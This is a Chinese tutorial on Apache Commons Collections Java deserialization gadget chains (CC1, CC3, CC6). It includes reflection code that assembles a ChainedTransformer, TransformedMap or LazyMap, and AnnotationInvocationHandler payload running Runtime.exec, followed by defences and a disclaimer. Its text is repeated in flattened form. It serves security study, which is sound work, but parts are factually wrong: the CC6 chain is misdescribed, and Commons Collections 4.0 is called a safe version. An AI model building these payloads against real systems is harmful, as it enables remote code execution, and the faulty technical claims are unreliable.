Java——CC链集合
字数 4271 2025-10-29 23:25:25

Apache Commons Collections 反序列化漏洞利用链(CC链)详解教学文档

文档概述

本教学文档旨在系统性地讲解Apache Commons Collections(以下简称CC)库中存在的反序列化漏洞利用链。通过本文档,您将深入了解CC链的核心原理、关键组件、不同利用链(如CC1、CC3、CC6等)的构造细节,以及如何搭建实验环境进行复现。本文档假设读者已具备Java基础、反射机制的基本知识以及简单的序列化/反序列化概念。

实验环境要求:

  • JDK: 1.8.0_65(关键!JDK 8u71及以上版本已修复相关漏洞)
  • 依赖库: Commons Collections 3.2.1
  • IDE: 支持Java调试的IDE(如IntelliJ IDEA或Eclipse)

第一部分:核心概念与基础

1.1 漏洞根源:Transformer接口

CC链的源头是org.apache.commons.collections.Transformer接口。该接口的核心方法是transform,其设计初衷是将一个输入对象转换为另一个输出对象。

public interface Transformer {
    Object transform(Object input);
}

漏洞成因:Transformer接口的实现类(如InvokerTransformer)的transform方法被恶意利用,执行任意Java方法(如Runtime.exec())时,反序列化过程就变成了一个危险的代码执行通道。

1.2 关键危险类:InvokerTransformer

InvokerTransformer是CC链中最核心的类,它利用Java反射机制在transform方法中调用任意方法。

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes); // 可控
        return method.invoke(input, iArgs); // 可控
    } catch (...) {
        ...
    }
}

利用方式: 通过构造InvokerTransformer实例,并控制其参数(方法名iMethodName,参数类型iParamTypes,参数值iArgs),可以实现命令执行。

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r); // 此时会弹出计算器

1.3 链式执行器:ChainedTransformer

由于反序列化时我们只能控制一个入口点,但命令执行需要多个反射调用步骤(getMethod -> invoke -> exec)。ChainedTransformer可以将多个Transformer实例串联起来,按顺序执行。

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
chain.transform("anything"); // 执行链式调用,弹出计算器
  • ConstantTransformer:无论输入是什么,transform方法总是返回构造时传入的对象。这里用于提供Runtime.class作为反射调用的起点。

1.4 触发入口:Map装饰器

我们需要找到一个在反序列化(readObject)过程中,能够自动调用我们精心构造的Transformer链的类。CC库提供了两个关键的Map装饰器:

  1. TransformedMap: 对其中的keyvalue进行转换。
  2. LazyMap: 当get方法查询一个不存在的key时,会使用Transformer工厂自动生成一个value

这两个类的checkSetValue(TransformedMap)和get(LazyMap)方法最终都会调用transform方法。

1.5 最终触发器:AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类是完成整个利用链的“临门一脚”。它的readObject方法在反序列化时,会遍历其memberValues字段(一个Map对象)。这个遍历过程会调用Map.EntrysetValue方法,而setValue会触发TransformedMapcheckSetValue,或者通过动态代理触发LazyMapget方法。

第二部分:主要利用链分析

2.1 CC1链(TransformedMap版)

这是最经典、最易于理解的CC链。

利用链:

AnnotationInvocationHandler.readObject()
    -> memberValues.entrySet().iterator().next().setValue(...)
        -> TransformedMap.MapEntry.setValue()
            -> TransformedMap.checkSetValue()
                -> ChainedTransformer.transform()
                    -> ConstantTransformer.transform() // 提供Runtime.class
                    -> InvokerTransformer.transform()  // 调用getMethod("getRuntime")
                    -> InvokerTransformer.transform()  // 调用invoke(null)
                    -> InvokerTransformer.transform()  // 调用exec("calc")

构造POC的关键步骤:

  1. 构造Transformer链: 使用ChainedTransformer串联ConstantTransformer和多个InvokerTransformer,形成命令执行链。
  2. 包装恶意Map: 创建一个普通的HashMap,并使用TransformedMap.decorate方法将其包装,将valueTransformer参数设置为我们的恶意ChainedTransformer
    Map<String, String> normalMap = new HashMap<>();
    normalMap.put("value", "xxx"); // Key必须为"value",原因见下文
    Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
    
  3. 实例化AnnotationInvocationHandler: 通过反射创建AnnotationInvocationHandler实例,并将其memberValues字段设置为我们的恶意transformedMap。注意,构造函数的第一个参数需要是一个包含名为value的成员的注解(如java.lang.annotation.Target),这样才能在readObject时顺利进入setValue的逻辑。
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object instance = constructor.newInstance(Target.class, transformedMap);
    
  4. 序列化与触发: 将该instance对象序列化后,发送给目标。目标反序列化此数据时,漏洞即被触发。

2.2 CC1链(LazyMap版)

YSOSERIAL工具中使用的是此版本,利用了动态代理,更为巧妙。

利用链:

AnnotationInvocationHandler.readObject()
    -> memberValues.get(...) // memberValues是一个代理对象
        -> AnnotationInvocationHandler.invoke() // 代理逻辑
            -> LazyMap.get()
                -> ChainedTransformer.transform()
                    -> ...(后续与TransformedMap版相同)

构造POC的关键步骤:

  1. 构造Transformer链: 与TransformedMap版相同。
  2. 创建LazyMap: 使用LazyMap.decorate方法创建一个恶意的LazyMap
    Map lazyMap = LazyMap.decorate(new HashMap(), chain);
    
  3. 创建代理Map: 创建一个AnnotationInvocationHandler实例作为调用处理器,然后使用Proxy生成一个代理Map对象。当这个代理对象的任何方法被调用时,都会先进入AnnotationInvocationHandler.invoke方法。
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
    
  4. 包装最终Handler: 再创建一个新的AnnotationInvocationHandler实例,其memberValues字段设置为上一步的proxyMap
    Object finalHandler = constructor.newInstance(Retention.class, proxyMap);
    
  5. 序列化与触发: 序列化finalHandler对象。反序列化时,readObject方法会尝试读取memberValues(即proxyMap),从而触发动态代理机制,执行整个利用链。

2.3 CC3链(TemplatesImpl加载字节码)

CC1链依赖于Runtime执行命令,在某些受限环境(如无Runtime或命令执行被拦截)下可能失效。CC3链的核心是直接加载恶意字节码,实现更底层的代码执行。

核心类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类有一个_bytecodes字段,可以用于定义类。如果能够反序列化一个精心构造的TemplatesImpl对象,并在其getOutputProperties()方法(最终会调用defineClass())被调用时,即可执行_bytecodes中的字节码。

利用链(结合CC1):

AnnotationInvocationHandler.readObject()
    -> ... (与CC1链相同,触发Transformer链)
        -> InvokerTransformer.transform() // 调用TemplatesImpl.newTransformer()或getOutputProperties()
            -> TemplatesImpl.defineTransletClasses() // 加载恶意字节码
                -> ... 实例化恶意类,静态代码块中的代码被执行

关键点:

  • 字节码生成: 需要预先将恶意Java代码编译成Class文件,并读取其字节码,设置到TemplatesImpl_bytecodes字段中。
  • Transformer替换: 将CC1链中最终执行命令的InvokerTransformer,替换为调用TemplatesImpl方法的InvokerTransformer
    // 替换掉执行exec的Transformer
    new InvokerTransformer("newTransformer", null, null);
    // 或者
    new InvokerTransformer("getOutputProperties", null, null);
    

2.4 CC6链(通用性增强)

CC1链依赖于AnnotationInvocationHandler,而高版本JDK中此类包名改变且内部逻辑更新,导致CC1失效。CC6链寻找了其他在readObject中能触发LazyMap.get()的路径,提高了通用性。

核心类:java.util.HashMap

HashMapreadObject方法在反序列化时会调用hash()方法来计算每个键的哈希值。如果键是一个包含LazyMap的动态代理对象,那么计算hashCode()时就会触发代理逻辑。

利用链:

HashMap.readObject()
    -> hash(key) // key是一个代理对象
        -> AnnotationInvocationHandler.invoke()
            -> LazyMap.get() // 后续与LazyMap版CC1相同)

构造思路:

  1. 先构造好LazyMap和与之关联的ChainedTransformer链。
  2. 创建一个AnnotationInvocationHandler代理对象,代理的是LazyMap
  3. 实例化一个HashMap,并放入一个键值对,其中key就是上一步的代理对象。在放入之前,需要先通过一次get操作触发Transformer链,将LazyMap中的转换缓存起来,避免在序列化前就执行命令。
  4. 通过反射将ChainedTransformer中的iTransformers替换为真正的恶意链。
  5. 序列化这个HashMap

第三部分:实验与防护

3.1 实验注意事项

  1. JDK版本: 必须使用JDK 8u65或以下版本进行实验。
  2. Sun包源码: 为了便于调试AnnotationInvocationHandler,需要手动导入sun包的源码。
  3. POC构造顺序: 某些链(如CC6)需要仔细控制触发时机,避免在序列化前就执行了命令。

3.2 防护措施

  1. 升级组件: 将Apache Commons Collections库升级至安全版本(如4.0及以上)。
  2. JVM层面: 使用反序列化过滤器(JEP 290),限制反序列化的类。
  3. 代码层面: 对反序列化操作进行白名单控制,避免直接反序列化不可信的流数据。
  4. 安全编码: 避免在项目中使用不安全的ObjectInputStream.readObject()

总结

CC链是Java反序列化漏洞研究的里程碑。它深刻地揭示了软件供应链中基础组件的安全性如何被放大,以及“小功能”设计不当如何演变成“大漏洞”。理解CC链不仅有助于漏洞挖掘和代码审计,更是深入学习Java安全机制(反射、动态代理、类加载、序列化)的绝佳途径。在研究过程中,务必在合法、授权的环境中进行,避免对他人系统造成危害。


免责声明: 本文档仅用于安全技术研究和教学目的。请勿将文中所述技术用于任何非法活动。使用者需自行承担因滥用该技术而产生的一切后果。

Apache Commons Collections 反序列化漏洞利用链(CC链)详解教学文档 文档概述 本教学文档旨在系统性地讲解Apache Commons Collections(以下简称CC)库中存在的反序列化漏洞利用链。通过本文档,您将深入了解CC链的核心原理、关键组件、不同利用链(如CC1、CC3、CC6等)的构造细节,以及如何搭建实验环境进行复现。本文档假设读者已具备Java基础、反射机制的基本知识以及简单的序列化/反序列化概念。 实验环境要求: JDK: 1.8.0_ 65(关键!JDK 8u71及以上版本已修复相关漏洞) 依赖库: Commons Collections 3.2.1 IDE: 支持Java调试的IDE(如IntelliJ IDEA或Eclipse) 第一部分:核心概念与基础 1.1 漏洞根源:Transformer接口 CC链的源头是 org.apache.commons.collections.Transformer 接口。该接口的核心方法是 transform ,其设计初衷是将一个输入对象转换为另一个输出对象。 漏洞成因: 当 Transformer 接口的实现类(如 InvokerTransformer )的 transform 方法被恶意利用,执行任意Java方法(如 Runtime.exec() )时,反序列化过程就变成了一个危险的代码执行通道。 1.2 关键危险类:InvokerTransformer InvokerTransformer 是CC链中最核心的类,它利用Java反射机制在 transform 方法中调用任意方法。 利用方式: 通过构造 InvokerTransformer 实例,并控制其参数(方法名 iMethodName ,参数类型 iParamTypes ,参数值 iArgs ),可以实现命令执行。 1.3 链式执行器:ChainedTransformer 由于反序列化时我们只能控制一个入口点,但命令执行需要多个反射调用步骤( getMethod -> invoke -> exec )。 ChainedTransformer 可以将多个 Transformer 实例串联起来,按顺序执行。 ConstantTransformer :无论输入是什么, transform 方法总是返回构造时传入的对象。这里用于提供 Runtime.class 作为反射调用的起点。 1.4 触发入口:Map装饰器 我们需要找到一个在反序列化( readObject )过程中,能够自动调用我们精心构造的 Transformer 链的类。CC库提供了两个关键的 Map 装饰器: TransformedMap : 对其中的 key 或 value 进行转换。 LazyMap : 当 get 方法查询一个不存在的 key 时,会使用 Transformer 工厂自动生成一个 value 。 这两个类的 checkSetValue (TransformedMap)和 get (LazyMap)方法最终都会调用 transform 方法。 1.5 最终触发器:AnnotationInvocationHandler sun.reflect.annotation.AnnotationInvocationHandler 类是完成整个利用链的“临门一脚”。它的 readObject 方法在反序列化时,会遍历其 memberValues 字段(一个 Map 对象)。这个遍历过程会调用 Map.Entry 的 setValue 方法,而 setValue 会触发 TransformedMap 的 checkSetValue ,或者通过动态代理触发 LazyMap 的 get 方法。 第二部分:主要利用链分析 2.1 CC1链(TransformedMap版) 这是最经典、最易于理解的CC链。 利用链: 构造POC的关键步骤: 构造Transformer链: 使用 ChainedTransformer 串联 ConstantTransformer 和多个 InvokerTransformer ,形成命令执行链。 包装恶意Map: 创建一个普通的 HashMap ,并使用 TransformedMap.decorate 方法将其包装,将 valueTransformer 参数设置为我们的恶意 ChainedTransformer 。 实例化AnnotationInvocationHandler: 通过反射创建 AnnotationInvocationHandler 实例,并将其 memberValues 字段设置为我们的恶意 transformedMap 。注意,构造函数的第一个参数需要是一个包含名为 value 的成员的注解(如 java.lang.annotation.Target ),这样才能在 readObject 时顺利进入 setValue 的逻辑。 序列化与触发: 将该 instance 对象序列化后,发送给目标。目标反序列化此数据时,漏洞即被触发。 2.2 CC1链(LazyMap版) YSOSERIAL工具中使用的是此版本,利用了动态代理,更为巧妙。 利用链: 构造POC的关键步骤: 构造Transformer链: 与TransformedMap版相同。 创建LazyMap: 使用 LazyMap.decorate 方法创建一个恶意的 LazyMap 。 创建代理Map: 创建一个 AnnotationInvocationHandler 实例作为调用处理器,然后使用 Proxy 生成一个代理 Map 对象。当这个代理对象的任何方法被调用时,都会先进入 AnnotationInvocationHandler.invoke 方法。 包装最终Handler: 再创建一个新的 AnnotationInvocationHandler 实例,其 memberValues 字段设置为上一步的 proxyMap 。 序列化与触发: 序列化 finalHandler 对象。反序列化时, readObject 方法会尝试读取 memberValues (即 proxyMap ),从而触发动态代理机制,执行整个利用链。 2.3 CC3链(TemplatesImpl加载字节码) CC1链依赖于 Runtime 执行命令,在某些受限环境(如无 Runtime 或命令执行被拦截)下可能失效。CC3链的核心是直接加载恶意字节码,实现更底层的代码执行。 核心类: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类有一个 _bytecodes 字段,可以用于定义类。如果能够反序列化一个精心构造的 TemplatesImpl 对象,并在其 getOutputProperties() 方法(最终会调用 defineClass() )被调用时,即可执行 _bytecodes 中的字节码。 利用链(结合CC1): 关键点: 字节码生成: 需要预先将恶意Java代码编译成Class文件,并读取其字节码,设置到 TemplatesImpl 的 _bytecodes 字段中。 Transformer替换: 将CC1链中最终执行命令的 InvokerTransformer ,替换为调用 TemplatesImpl 方法的 InvokerTransformer 。 2.4 CC6链(通用性增强) CC1链依赖于 AnnotationInvocationHandler ,而高版本JDK中此类包名改变且内部逻辑更新,导致CC1失效。CC6链寻找了其他在 readObject 中能触发 LazyMap.get() 的路径,提高了通用性。 核心类: java.util.HashMap HashMap 的 readObject 方法在反序列化时会调用 hash() 方法来计算每个键的哈希值。如果键是一个包含 LazyMap 的动态代理对象,那么计算 hashCode() 时就会触发代理逻辑。 利用链: 构造思路: 先构造好 LazyMap 和与之关联的 ChainedTransformer 链。 创建一个 AnnotationInvocationHandler 代理对象,代理的是 LazyMap 。 实例化一个 HashMap ,并放入一个键值对,其中 key 就是上一步的代理对象。在放入之前,需要先通过一次 get 操作触发 Transformer 链,将 LazyMap 中的转换缓存起来,避免在序列化前就执行命令。 通过反射将 ChainedTransformer 中的 iTransformers 替换为真正的恶意链。 序列化这个 HashMap 。 第三部分:实验与防护 3.1 实验注意事项 JDK版本: 必须使用JDK 8u65或以下版本进行实验。 Sun包源码: 为了便于调试 AnnotationInvocationHandler ,需要手动导入 sun 包的源码。 POC构造顺序: 某些链(如CC6)需要仔细控制触发时机,避免在序列化前就执行了命令。 3.2 防护措施 升级组件: 将Apache Commons Collections库升级至安全版本(如4.0及以上)。 JVM层面: 使用反序列化过滤器(JEP 290),限制反序列化的类。 代码层面: 对反序列化操作进行白名单控制,避免直接反序列化不可信的流数据。 安全编码: 避免在项目中使用不安全的 ObjectInputStream.readObject() 。 总结 CC链是Java反序列化漏洞研究的里程碑。它深刻地揭示了软件供应链中基础组件的安全性如何被放大,以及“小功能”设计不当如何演变成“大漏洞”。理解CC链不仅有助于漏洞挖掘和代码审计,更是深入学习Java安全机制(反射、动态代理、类加载、序列化)的绝佳途径。在研究过程中,务必在合法、授权的环境中进行,避免对他人系统造成危害。 免责声明: 本文档仅用于安全技术研究和教学目的。请勿将文中所述技术用于任何非法活动。使用者需自行承担因滥用该技术而产生的一切后果。